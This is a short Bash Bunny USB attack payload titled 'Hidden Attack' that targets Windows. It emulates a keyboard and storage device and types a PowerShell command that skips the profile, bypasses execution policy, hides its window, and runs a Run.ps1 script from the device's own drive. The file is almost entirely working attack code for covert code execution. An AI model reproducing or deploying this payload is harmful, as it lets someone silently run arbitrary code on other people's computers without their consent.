#!/bin/bash
#
# Title:         Hidden Attack
# Description:   For Ghost attack
# Author:        Steven    
# Version:       v 1.0
# Target:        Windows
# Attackmodes:   HID, STORAGE

######## INITIALIZATION ########
LED SETUP
GET SWITCH_POSITION
ATTACKMODE HID STORAGE

######## ATTACK ########
LED ATTACK
RUN WIN C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\Run.ps1')"

######## FINISH ########
LED FINISH